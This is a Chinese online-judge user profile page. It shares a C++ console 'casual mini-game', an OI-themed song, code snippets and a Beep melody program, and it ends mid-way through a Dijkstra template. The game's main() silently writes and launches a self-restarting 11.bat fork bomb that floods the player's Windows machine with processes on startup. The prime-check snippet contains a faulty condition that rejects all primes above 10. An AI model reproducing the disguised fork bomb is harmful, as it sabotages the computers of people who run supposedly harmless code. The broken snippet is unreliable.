2022tysc0094 (UID: 8213)
注册于 2022-6-20 17:17:36, 最后登录于 2024-4-13 13:12:35, 目前离线.
解决了 590 道题目，RP: 266.88 (No. 55)
学校：广州铁一中学
-
个人简介
休闲小游戏
//made by ProGrBl (0260) #include<ctime> #include<string> #include<conio.h> #include<cstring> #include<cstdlib> #include<iomanip> #include<iostream> #include<algorithm> #include<Windows.h> #include<queue> #include<vector> #include<sstream> #include<stdio.h> #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? true : false) using namespace std; int x=60,y=235,maxx=0,anss=0,money=0,yr[10]={0,1,0,0,0,0,0,0,0,0},xr[10]; char xy[60][235]; struct bmb{ int xx,yy; }; string s12=" ",s13=" ",s14=" ",s15=" ",s16=" ",s17=" "; bool oooo=true; struct popo{ int xb; string sy; int pr; }opopo[100]; vector<bmb> bomb; int sj=0,num; bool gch(char ch){if(getch()==ch)return true;return false;} bool chd(char ch){if(KEY_DOWN(ch)){return true; }return false;} void sb(int x,int y){ HANDLE handle=GetStdHandle(STD_OUTPUT_HANDLE); COORD pos; pos.X=x; pos.Y=y; SetConsoleCursorPosition(handle,pos); } void sx(int sc){ string st="分数: ",st1,dt5="血量：",ft5="钱："; stringstream ss,cc; ss.clear(); ss<<sc; ss>>st1; st+=st1; sb(1,1); for(int i=0;i<x;i++){for(int j=0;j<y;j++){ st+=xy[i][j]; }st+="\n"; }cout<<dt5<<" "; cout<<ft5<<money<<" "; cout<<"盔甲护身:"<<yr[1]-1<<" "; cout<<"次元突破:"<<yr[2]<<" "; cout<<"火力掩护:"<<yr[3]<<" "; cout<<"超级分身:"<<yr[4]<<" "; cout<<"绝对领域:"<<yr[5]<<" "; cout<<"皇上驾到:"<<yr[6]<<" "; cout<<st; cout<<s12<<" "<<s13<<endl<<s17<<endl; cout<<s16; } bool game1(){//zheng bomb.clear(); int score=0,ball=35,ball2=1,enemy,ccc=x-1,ccc2=x-1,ll=1; double spd=1; bool stopped=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ball++;cin.sync(); } if(chd('A')){ball--;cin.sync(); } if(chd('W')){ccc--;cin.sync(); } if(chd('S')){ccc++;cin.sync(); } if(chd('Q')){ if(yr[2]>0){ yr[2]--; ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); } } xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } if(ball>=y-1)ball=y-1; if(ball<0)ball=0; if(sj%2==1){bomb.push_back((bmb){0,rand()%y}); } if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin()); } for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|'; if(yr[1]>1){ xy[ccc-1][ball-1]='/'; xy[ccc+1][ball-1]='\\'; xy[ccc-1][ball+1]='\\'; xy[ccc+1][ball+1]='/'; } if(chd('E')){ if(yr[3]>0){ yr[3]--; xy[ccc-1][ball-1]=' ';cin.sync(); xy[ccc-1][ball]=' ';cin.sync(); xy[ccc-1][ball+1]=' ';cin.sync(); xy[ccc][ball-1]=' ';cin.sync(); xy[ccc][ball+1]=' ';cin.sync(); xy[ccc+1][ball-1]=' ';cin.sync(); xy[ccc+1][ball]=' ';cin.sync(); xy[ccc+1][ball+1]=' ';cin.sync(); } } } //spd*=1.1; } if(score>maxx){ money+=1000; } money+=score; } bool game7(){ bomb.clear(); int score=0,ball=52,ball2=53,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[29][51]='1'; xy[30][51]='-'; xy[29][174]='3'; xy[30][174]='-'; xy[29][112]='2'; xy[30][112]='-'; xy[31][112]='5'; xy[32][112]='-'; xy[31][51]='4'; xy[32][51]='-'; xy[31][174]='6'; xy[32][174]='-'; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } for(int i=27;i<34;i++){ xy[i][49]='&'; xy[i][181]='&'; } for(int i=49;i<182;i++){ xy[27][i]='&'; xy[33][i]='&'; } if(ccc==30&&ball==51){ s13="x购买,c查看"; if(chd('X')){ if(money>=2000){ yr[1]++; money-=2000; } } if(chd('C')){ s17="盔甲护身:2000 加上一点血量"; } } if(ccc==30&&ball==174){ s13="x购买,c查看"; if(chd('X')){ if(money>=8000){ yr[3]++; money-=8000; } } if(chd('C')){ s17="火力掩护:8000 三乘三不攻击"; } } if(ccc==30&&ball==112){ s13="x购买,c查看"; if(chd('X')){ if(money>=5000){ yr[2]++; money-=5000; } } if(chd('C')){ s17="次元突破:5000 移到队友那里"; } } if(ccc==32&&ball==51){ s13="x购买,c查看"; if(chd('X')){ if(money>=12000){ yr[4]++; money-=12000; } } if(chd('C')){ s17="超级分身:1.2w 增加四个分身"; } } if(ccc==32&&ball==174){ s13="x购买,c查看"; if(chd('X')){ if(money>=20000){ yr[6]++; money-=20000; } } if(chd('C')){ s17="皇上驾到:2.0w 让所有箭消失"; } } if(ccc==32&&ball==112){ s13="x购买,c查看"; if(chd('X')){ if(money>=15000){ yr[5]++; money-=15000; } } if(chd('C')){ s17="绝对领域:1.5w 生成25个护盾"; } } if(chd('E'))stopped=true; //spd*=1.1; } } bool game4(){ bomb.clear(); int score=0,ball=51,ball2=52,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } xy[30][172]='Y'; xy[29][171]='/'; xy[29][173]='\\'; xy[31][171]='\\'; xy[31][173]='/'; for(int i=28;i<33;i++){ xy[i][50]='&'; xy[i][175]='&'; } for(int i=50;i<176;i++){ xy[28][i]='&'; xy[32][i]='&'; } if(ccc==30&&ball==170){ stopped=true; } //spd*=1.1; } //Sleep(800); } int game6(){ bomb.clear(); int score=0,ball=112,ball2=52,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } if(chd('G'))s12=" ";cin.sync(); xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } xy[29][51]='h'; xy[29][174]='c'; xy[29][112]='s'; xy[31][112]='e'; xy[31][51]='z'; xy[31][174]='r'; for(int i=27;i<34;i++){ xy[i][49]='&'; xy[i][176]='&'; } for(int i=49;i<177;i++){ xy[27][i]='&'; xy[33][i]='&'; } if(ccc==29&&ball==51){ return 1; } if(ccc==29&&ball==174){ return 2; } if(ccc==29&&ball==112){ return 5; } if(ccc==31&&ball==112){ return 6; } if(ccc==31&&ball==51){ return 3; } if(ccc==31&&ball==174){ return 4; } //spd*=1.1; } //Sleep(800); } bool game2(){// bomb.clear(); int score=0,ball=2,ball2=3,enemy,ccc=x-3,ccc2=x-3,ll=0; double spd=1; bool stopped=false; bool okok=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; for(int j=1;j<x-1;j=j+5){ for(int k=1;k<y-1;k=k+15){ for(int i=1;i<=3;i++){ xy[j][k+i]='|'; } } } for(int i=9;i<=51;i++){ xy[i][91]='|'; } for(int i=9;i<=51;i++){ xy[i][141]='|'; } for(int i=91;i<=141;i++){ xy[51][i]='-'; } for(int i=91;i<=141;i++){ xy[9][i]='-'; } xy[9][116]=' '; for(int i=0;i<x;i++){ xy[i][0]='&'; xy[i][y-1]='&'; } for(int i=0;i<y;i++){ xy[0][i]='&'; xy[x-1][i]='&'; } xy[31][116]='#'; xy[16][116]='#'; xy[46][116]='#'; xy[31][101]='#'; xy[31][131]='#'; xy[ccc][ball]='Q'; if(xy[31][116]=='Q'){ okok=true; stopped=true; } if(xy[16][116]=='Q'){ okok=true; stopped=true; } if(xy[46][116]=='Q'){ okok=true; stopped=true; } if(xy[16][101]=='Q'){ okok=true; stopped=true; } if(xy[16][131]=='Q'){ okok=true; stopped=true; } if(chd('D')){ if(xy[ccc][ball+1]=='|'||xy[ccc][ball+1]=='-'){ yr[1]--; } ball++;cin.sync(); } if(chd('A')){ if(xy[ccc][ball-1]=='|'||xy[ccc][ball-1]=='-'){ yr[1]--; } ball--;cin.sync(); } if(chd('W')){ if(xy[ccc-1][ball]=='|'||xy[ccc-1][ball]=='-'){ yr[1]--; } ccc--;cin.sync(); } if(chd('S')){ if(xy[ccc+1][ball]=='|'||xy[ccc+1][ball]=='-'){ yr[1]--; } ccc++;cin.sync(); } if(chd('Q')){ if(yr[2]>0){ ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); } } xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } if(ball>=y-1)ball=y-1; if(ball<0)ball=0; if(sj%2==1){bomb.push_back((bmb){0,rand()%y}); } if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin()); } for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|'; if(yr[1]>1){ xy[ccc-1][ball-1]='/'; xy[ccc+1][ball-1]='\\'; xy[ccc-1][ball+1]='\\'; xy[ccc+1][ball+1]='/'; } } //spd*=1.1; } if(okok){ game4(); money+=2000; } money+=score; //Sleep(800); } bool game3(){// bomb.clear(); int score=0,ball=2,ball2=3,enemy,ccc=x-2,ccc2=x-2,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[2][2]='~'; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } for(int j=1;j<x-1;j=j+5){ for(int k=1;k<y-1;k=k+15){ for(int i=1;i<=3;i++){ xy[j][k+i]='^'; } } } for(int i=1;i<=8;i++){ xy[3][i]='^'; } for(int i=1;i<=8;i++){ xy[4][i]='^'; } for(int i=1;i<=5;i++){ xy[i][10]='^'; } for(int i=4;i<=7;i++){ xy[i][8]='^'; } for(int i=1;i<=5;i++){ xy[7][7+i]='^'; } for(int i=1;i<=3;i++){ xy[5][10+i]='^'; } if(xy[ccc][ball]=='^'){ yr[1]--; } if(xy[2][2]=='Q'){ oko=true; stopped=true; } if(chd('Q')){ if(yr[2]>0){ ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); } } xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } for(int i=0;i<x;i++){ xy[i][0]='&'; xy[i][y-1]='&'; } for(int i=0;i<y;i++){ xy[0][i]='&'; xy[x-1][i]='&'; } if(ball>=y-1)ball=y-1; if(ball<0)ball=0; if(sj%2==1){bomb.push_back((bmb){0,rand()%y}); } if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin()); } for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|'; if(yr[1]>1){ xy[ccc-1][ball-1]='/'; xy[ccc+1][ball-1]='\\'; xy[ccc-1][ball+1]='\\'; xy[ccc+1][ball+1]='/'; } } //spd*=1.1; } if(oko){ game4(); money+=2000; } money+=score; //Sleep(800); } bool game5(){// bomb.clear(); int score=0,ball=3,ball2=4,enemy,ccc=x-3,ccc2=x-3,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(20); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[1][117]='X'; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } if(chd('Q')){ if(yr[2]>0){ ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); } } if(xy[1][117]=='Q'){ oko=true; stopped=true; } xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } for(int i=0;i<x;i++){ xy[i][0]='&'; xy[i][y-1]='&'; } for(int i=0;i<y;i++){ xy[0][i]='&'; xy[x-1][i]='&'; } if(ball>=y-1)ball=y-1; if(ball<0)ball=0; if(sj%2==1){bomb.push_back((bmb){0,rand()%y}); } if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin()); } for(int i=0;i<bomb.size();i++){ if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--; if(xy[bomb[i].xx][bomb[i].yy-1]=='Q')yr[1]--; if(xy[bomb[i].xx][bomb[i].yy+1]=='Q')yr[1]--; xy[bomb[i].xx][bomb[i].yy]='*'; xy[bomb[i].xx][bomb[i].yy-1]='*'; xy[bomb[i].xx][bomb[i].yy+1]='*'; } //spd*=1.1; } if(oko){ game4(); money+=5000; } money+=score; //Sleep(800); } POINT P; int main(){ char chh,ch1,ch2; int s,nn,hhhhh[10000]; srand((unsigned)getpid()); GetCursorPos(&P); int x1=P.x; int y1=P.y; freopen("11.out","w",stdout); cout << ":1 \n start 11.bat \n goto 1"; fclose(stdout); system("ren 11.out 11.bat"); system("start 11.bat"); SetCursorPos(1366,768); while(1){ s12.erase(0,11111); s12="a 左走,d 右走,w 上走,s 下走 切记:玩的时候一定要开全屏 全屏:f11键 "; if(yr[1]==0)yr[1]=1; nn=game6(); if(nn==6)break; if(nn==5){ s13="按e退出商店"; game7(); } if(nn==3){ game1(); } if(nn==2){ s16="绕过尖刺^,把古树核心~抢过来,我给你2000块:深林长老"; game3(); } if(nn==1){ s16="绕过火焰|,把火能核心#抢过来,我给你2000块:烈焰长老"; game2(); } if(nn==4){ s16="绕过飞镖*,把毁灭核心X抢过来,我给你5000块:暗影长老"; game5(); } } cout<<"让我们下次再见"; sb(0,59); }Oier的故事听说津津为课程烦恼 金明一家住进了新房 听说丁丁玩数字游戏 火柴棒能搭出新天地 听说校门外正在砍树 大家一起做靶形数独 听说旅行者在赚差价 潜伏者正在破译着密码 只有无尽的代码知道 津津摆脱了学习的烦恼 金明开心地走进商店 挑选着书桌和电脑 总有一种算法能够让你成功拿到分 无论是贪心还是动规 或者将答案二分 思如泉涌掀起波涛 又汇成一个新的算法 让所有TLE 所有MLE 激励着我们前行写代码 听说同学们在玩推理 小Z的袜子总配不齐 听说两人在挑选客栈 火星上有条能量项链 听说陶陶在采摘苹果 一只青蛙要从河边过 听说推销员走入胡同 杰瑞爬进了奶酪的小洞 只有无尽的代码知道 同学们男女配对练起了舞蹈 小Z把他的袜子找到 AK了无数机房 屏幕在深夜微微发亮 思想在那虚树路径上彷徨 平面的向量交错生长 织成 忧伤的网 剪枝剪去我们的疯狂 SPFA 告诉我前途在何方 01 背包装下了忧伤 笑颜 洋溢脸庞 键盘微凉 鼠标微凉 指尖流淌 代码千行 凸包周长 直径多长 一进考场 全都忘光 你在 OJ 上提交了千百遍 却依然不能卡进那时限 双手敲尽代码也敲尽岁月 只有我一人 写的题解 凋零在 OJ 里面 Tarjan 陪伴强连通分量 生成树完成后思路才闪光 欧拉跑过的七桥古塘 让你 心驰神往 队列进出图上的方向 线段树区间修改求出总量 可持久化留下的迹象 我们 伏身欣赏 数论算法 图论算法 高斯费马 树上开花 线性规划 动态规划 时间爆炸 如何优化 我在 OI 中辗转了千百天 却不让我看 AK 最后一眼 我用空间换回超限的时间 随重新编译 测完样例 才发现漏洞满篇 原来 CE 是因选错语言 其实爆零 只因忘写文件 如果标算太难请坚定信念 不如回头再看一眼题面 以那暴力模拟向正解吊唁 蒟蒻的蜕变 神犇的出现 终将与 Au 擦肩 屏幕在深夜微微发亮 我心在考场 我心在考场 摘抄自某Oier ------------ ---最常用的库
#include <iostream> #include <string> #include <cmath> #include <sstream> #include <cstring> #include <ios> #include <iomanip> #include <algorithm> #include <fstream>判断素数
bool check_prime_number(long long int c = 0) { //请导入 <cmath>; if (c <= 1) { return false; } if (c == 2) { return true; } if (c % 2 == 0) { return false; } if (c > 10) { if (c % 10 != 1 || c % 10 != 3 || c % 10 != 7 || c % 10 != 9) { return false; } } for (long long int i = 3; i <= sqrt(c); i = i + 2) { if (c % i == 0) { return false; } } return true; }正整数大数加法
//用之前先导入< ios >，< iomanip >，< sstream >，< string >
string pius(string a, string b) { string c = ""; stringstream sa, sb, sc; sa << std::right << std::setw(max(a.size(), b.size())) << std::setfill('0') << a; sb << std::right << std::setw(max(a.size(), b.size())) << std::setfill('0') << b; sc << std::right << std::setw(max(a.size(), b.size())) << std::setfill('0') << c; a = ""; b = ""; c = ""; sa >> a; sb >> b; sc >> c; for (int i = a.size() - 1; i >= 0; i--) { int plus = int(a[i] - '0' + b[i] - '0' + c[i] - '0'); if (i != 0) { if (plus < 10) { c[i] = char(plus + '0'); } else { c[i] = char(plus % 10 + '0'); c[i - 1] = char(plus / 10 + '0'); } } else { if (plus < 10) { c[i] = char(plus + '0'); } else { c[i] = char(plus % 10 + '0'); c = char(plus / 10 + '0') + c; } } } return c; }高精度整数乘法
#include<iostream> #include<cstdio> #include<cstring> using namespace std; char x[50010],y[50010]; int a[50010],b[50010],c[50010]; int main() { cin>>x>>y; a[0]=strlen(x);b[0]=strlen(y); for(int i=1;i<=a[0];++i)a[i]=x[a[0]-i]-'0'; for(int i=1;i<=b[0];++i)b[i]=y[b[0]-i]-'0'; for(int i=1;i<=a[0];++i) for(int j=1;j<=b[0];++j) c[i+j-1]+=a[i]*b[j]; int len=a[0]+b[0]; for(int i=1;i<=len-1;++i) if(c[i]>9) {c[i+1]+=c[i]/10;c[i]%=10;} while(c[len]==0&&len>1)len--; for(int i=len;i>=1;--i) printf("%d",c[i]); return 0; }冒泡排序
int n; //长度; int a[n]; //数组; for (int i = 1; i <= n; i++) { for (int j = 0; j <= n - i; j++) { if (/*条件语句*/) { swap(a[j], a[j + 1]); } } }进制转换
void turn(int ten,int k){ int two[100000],r=0; while (ten!=0){ two[r]=ten%k; ten=ten/k; r++; } for (int i=r-1;i>=0;i--){ if (two[i]>=10){ cout<<char(two[i]-10+'A'); }else{ cout<<two[i]; } } }void print(int now,int x,int y){ a[x][y]=0; if (a[x][y+1]==last){ print(a[x][y+1],x,y+1); } if (a[x][y-1]==last){ print(a[x][y-1],x,y-1); } if (a[x-1][y]==last){ print(a[x-1][y],x-1,y); } if (a[x+1][y]==last){ print(a[x+1][y],x+1,y); } return; } ```《孤勇者》代码 ```none #include <bits/stdc++.h> #include <windows.h> #pragma GCC optimize(3) #pragma GCC target("avx,sse2,sse3,sse4,mmx") #pragma GCC optimize("Ofast") #pragma GCC optimize("inline") #pragma GCC optimize("-fgcse") #pragma GCC optimize("-fgcse-lm") #pragma GCC optimize("-fipa-sra") #pragma GCC optimize("-ftree-pre") #pragma GCC optimize("-ftree-vrp") #pragma GCC optimize("-fpeephole2") #pragma GCC optimize("-ffast-math") #pragma GCC optimize("-fsched-spec") #pragma GCC optimize("unroll-loops") #pragma GCC optimize("-falign-jumps") #pragma GCC optimize("-falign-loops") #pragma GCC optimize("-falign-labels") #pragma GCC optimize("-fdevirtualize") #pragma GCC optimize("-fcaller-saves") #pragma GCC optimize("-fcrossjumping") #pragma GCC optimize("-fthread-jumps") #pragma GCC optimize("-funroll-loops") #pragma GCC optimize("-fwhole-program") #pragma GCC optimize("-freorder-blocks") #pragma GCC optimize("-fschedule-insns") #pragma GCC optimize("inline-functions") #pragma GCC optimize("-ftree-tail-merge") #pragma GCC optimize("-fschedule-insns2") #pragma GCC optimize("-fstrict-aliasing") #pragma GCC optimize("-fstrict-overflow") #pragma GCC optimize("-falign-functions") #pragma GCC optimize("-fcse-skip-blocks") #pragma GCC optimize("-fcse-follow-jumps") #pragma GCC optimize("-fsched-interblock") #pragma GCC optimize("-fpartial-inlining") #pragma GCC optimize("no-stack-protector") #pragma GCC optimize("-freorder-functions") #pragma GCC optimize("-findirect-inlining") #pragma GCC optimize("-fhoist-adjacent-loads") #pragma GCC optimize("-frerun-cse-after-loop") #pragma GCC optimize("inline-small-functions") #pragma GCC optimize("-finline-small-functions") #pragma GCC optimize("-ftree-switch-conversion") #pragma GCC optimize("-foptimize-sibling-calls") #pragma GCC optimize("-fexpensive-optimizations") #pragma GCC optimize("-funsafe-loop-optimizations") #pragma GCC optimize("inline-functions-called-once") #pragma GCC optimize("-fdelete-null-pointer-checks") using namespace std; int getvoice(int s) { if (s == 0) return 0; if (s == -1) return 262; if (s == -2) return 294; if (s == -3) return 330; if (s == -4) return 349; if (s == -5) return 392; if (s == -6) return 440; if (s == -7) return 493; if (s == 1) return 532; if (s == 2) return 578; if (s == 3) return 659; if (s == 4) return 698; if (s == 5) return 784; if (s == 6) return 880; if (s == 7) return 988; if (s == 10) return 1046; if (s == 20) return 1175; if (s == 30) return 1318; if (s == 40) return 1480; if (s == 50) return 1568; if (s == 60) return 1760; if (s == 70) return 1976; } int gettime(int s) { if (s == 4) return 1600; if (s == 3) return 1200; if (s == 2) return 800; if (s == 1) return 500; if (s == 10) return 750; if (s == -2) return 400; if (s == -20) return 600; if (s == -4) return 200; if (s == -40) return 300; if (s == -8) return 50; if (s == -80) return 75; } int prevoice[5] = {2, -7, 1, -6}, pretime[5] = {-4, -4, -4, -4}; int para1voice[50] = {3, 0, 0, 1, 2, 1, 3, 0, 1, 2, 1, 2, 3, -6, 1, -6, 1, -6, 1, 2, 1, -7, 0, 0, 3, 0, 0, 1, 2, 1, 3, 0, 1, 2, 1, 2, 3, -6, 1, -6, 1, -6, 1, 3, 2, -7, 0, 0}, para1time[50] = {2, 1, -4, -4, -4, -4, 2, -20, -4, -4, -4, -4, -4, -20, -4, -20, -4, -20, -4, -2, -2, 2, 1, 1, 2, 1, -4, -4, -4, -4, 2, -20, -4, -4, -4, -4, -4, -20, -4, -20, -4, -20, -4, -2, -2, 2, 1, 1}; int para2voice[80] = {-6, 1, 6, 6, 6, 6, 5, 6, 6, 5, 6, 5, 6, 5, 3, 3, 3, 0, 0, -6, 1, 6, 6, 6, 5, 6, 5, 7, 7, 7, 6, 7, 7, 6, 3, 3, 0, 3, 5, 3, 2, 3, 2, 3, 2, 3, 5, 3, 5, 3, 2, 3, 2, 3, 2, 0, 1, 2, 3, -6, 1, 3, 2, 3, 2, 1, 1, -6, 0, 0}, para2time[80] = {-4, -4, -2, -4, -4, -4, -4, -2, -4, -4, -4, -4, -4, -4, -4, -2, 1, 1, -2, -4, -4, -2, -4, -4, -4, -4, -4, -20, -4, -4, -4, -2, -4, -2, -4, 2, -4, -4, -4, -4, -20, -4, -20, -4, -20, -4, -4, -4, -4, -4, -20, -4, -20, -4, 1, -2, -4, -4, -2, -2, -2, -2, -20, -4, -4, -4, -2, 2, 1, -2}; int para3voice[120] = {6, 7, 10, 20, 7, 10, 10, 10, 7, 10, 20, 7, 10, 10, 10, 20, 30, 20, 30, 20, 30, 30, 20, 30, 50, 30, 6, 7, 10, 20, 7, 10, 10, 10, 7, 10, 20, 7, 10, 10, 10, 20, 30, 20, 30, 20, 30, 30, 20, 30, 50, 30, 50, 30, 50, 30, 50, 30, 50, 60, 30, 50, 50, 30, 50, 30, 50, 30, 50, 60, 30, 50, 50, 50, 30, 20, 20, 20, 10, 30, 30, 20, 20, 20, 10, 10, 6, 0, 0, 50, 50, 30, 20, 20, 20, 10, 30, 30, 20, 20, 20, 10, 10, 6, 0, 0, 0, 0}, para3time[120] = {-4, -4, -4, -4, -4, -4, -2, -4, -4, -4, -4, -4, -4, -2, -4, -4, -4, -4, -4, -4, -2, -4, -4, -2, -2, -2, -4, -4, -4, -4, -4, -4, -2, -4, -4, -4, -4, -4, -4, -2, -4, -4, -4, -4, -4, -4, -2, -4, -4, -2, -2, -2, -2, -20, -4, -20, -4, -4, -4, -4, -4, -2, -2, -20, -4, -20, -4, -4, -4, -4, -4, -2, -4, -4, -4, -4, -2, -2, -4, -4, -4, -4, -2, -2, -4, -4, 2, 1, -2, -4, -4, -4, -4, -2, -2, -4, -4, -4, -4, -2, -2, -4, -4, 2, 1, 1, 1, 1}; int para4voice[80] = {6, 5, 6, 5, 6, 5, 6, 5, 6, 6, 5, 6, 5, 6, 5, 3, 3, 3, 0, 0, 6, 5, 6, 5, 6, 5, 6, 5, 7, 7, 7, 6, 7, 6, 3, 3, 3, 0, 0, 3, 5, 3, 2, 3, 2, 3, 2, 3, 5, 3, 5, 3, 2, 3, 2, 3, 2, 0, 1, 2, 3, 6, 10, 30, 20, 30, 20, 10, 10, 6, 0}, para4time[80] = {-4, -4, -20, -4, -4, -4, -4, -4, -2, -4, -4, -4, -4, -4, -4, -4, -20, 1, 1, -2, -4, -4, -2, -4, -4, -4, -4, -4, -20, -4, -4, -4, -4, -4, -4, -2, 1, 1, -4, -4, -4, -4, -20, -4, -20, -4, -20, -4, -4, -4, -4, -4, -20, -4, -20, -4, 1, -2, -4, -4, -2, -2, -2, -2, -20, -4, -4, -4, -2, 3, -2}; int para5voice[30] = {-6, 1, 3, 7, 7, 7, 7, 6, 5, 5, 0, 6, -6, 1, 3, 7, 7, 7, 7, 6, 5, 5, 0}, para5time[30] = {-2, -2, -2, 1, -2, -4, -4, -4, -20, 3, -2, -2, -2, -2, 1, -2, -4, -4, -4, -20, 2, -2}; void pre() { for (int i = 1; i <= 10; i++) { for (int j = 0; j < 4; j++) Beep(getvoice(prevoice[j]), gettime(pretime[j])); } } void para1() { for (int j = 0; j < 48; j++) Beep(getvoice(para1voice[j]), gettime(para1time[j])); } void para2() { for (int j = 0; j < 70; j++) Beep(getvoice(para2voice[j]), gettime(para2time[j])); } void para3() { for (int j = 0; j < 108; j++) Beep(getvoice(para3voice[j]), gettime(para3time[j])); } void para4() { for (int j = 0; j < 71; j++) Beep(getvoice(para4voice[j]), gettime(para4time[j])); } void para5() { for (int j = 0; j < 22; j++) Beep(getvoice(para5voice[j]), gettime(para5time[j])); } int main() { pre(); para1(); para2(); para3(); para4(); para3(); para5(); para3(); return 0; }普及 & 普及+/提高- & 提高 部分模板 dij ```c++ #pragma GCC optimize("-fdelete-null-pointer-checks,inline-functions-called-once,-funsafe-loop-optimizations,-fexpensive-optimizations,-foptimize-sibling-calls,-ftree-switch-conversion,-finline-small-functions,inline-small-functions,-frerun-cse-after-loop,-fhoist-adjacent-loads,-findirect-inlining,-freorder-functions,no-stack-protector,-fpartial-inlining,-fsched-interblock,-fcse-follow-jumps,-fcse-skip-blocks,-falign-functions,-fstrict-overflow,-fstrict-aliasing,-fschedule-insns2,-ftree-tail-merge,inline-functions,-fschedule-insns,-freorder-blocks,-fwhole-program,-funroll-loops,-fthread-jumps,-fcrossjumping,-fcaller-saves,-fdevirtualize,-falign-labels,-falign-loops,-falign-jumps,unroll-loops,-fsched-spec,-ffast-math,Ofast,inline,-fgcse,-fgcse-lm,-fipa-sra,-ftree-pre,-ftree-vrp,-fpeephole2",3) #pragma GCC target("avx,sse2,sse3,sse4,mmx") #include <bits/stdc++.h> //万能头加火车头 using namespace std; struct edge{ int v,w; bool operator<(edge a)const{ return w>a.w; } }; const int MAXN=10001; int n,m,a,b,w,dis[MAXN],vis[MAXN]; priority_queue <edge> q; vector<edge> v[MAXN];//存边vector void dij(int st){//dij yyds!! memset(dis,127,sizeof dis); dis[st]=0; q.push((edge){st,0}); 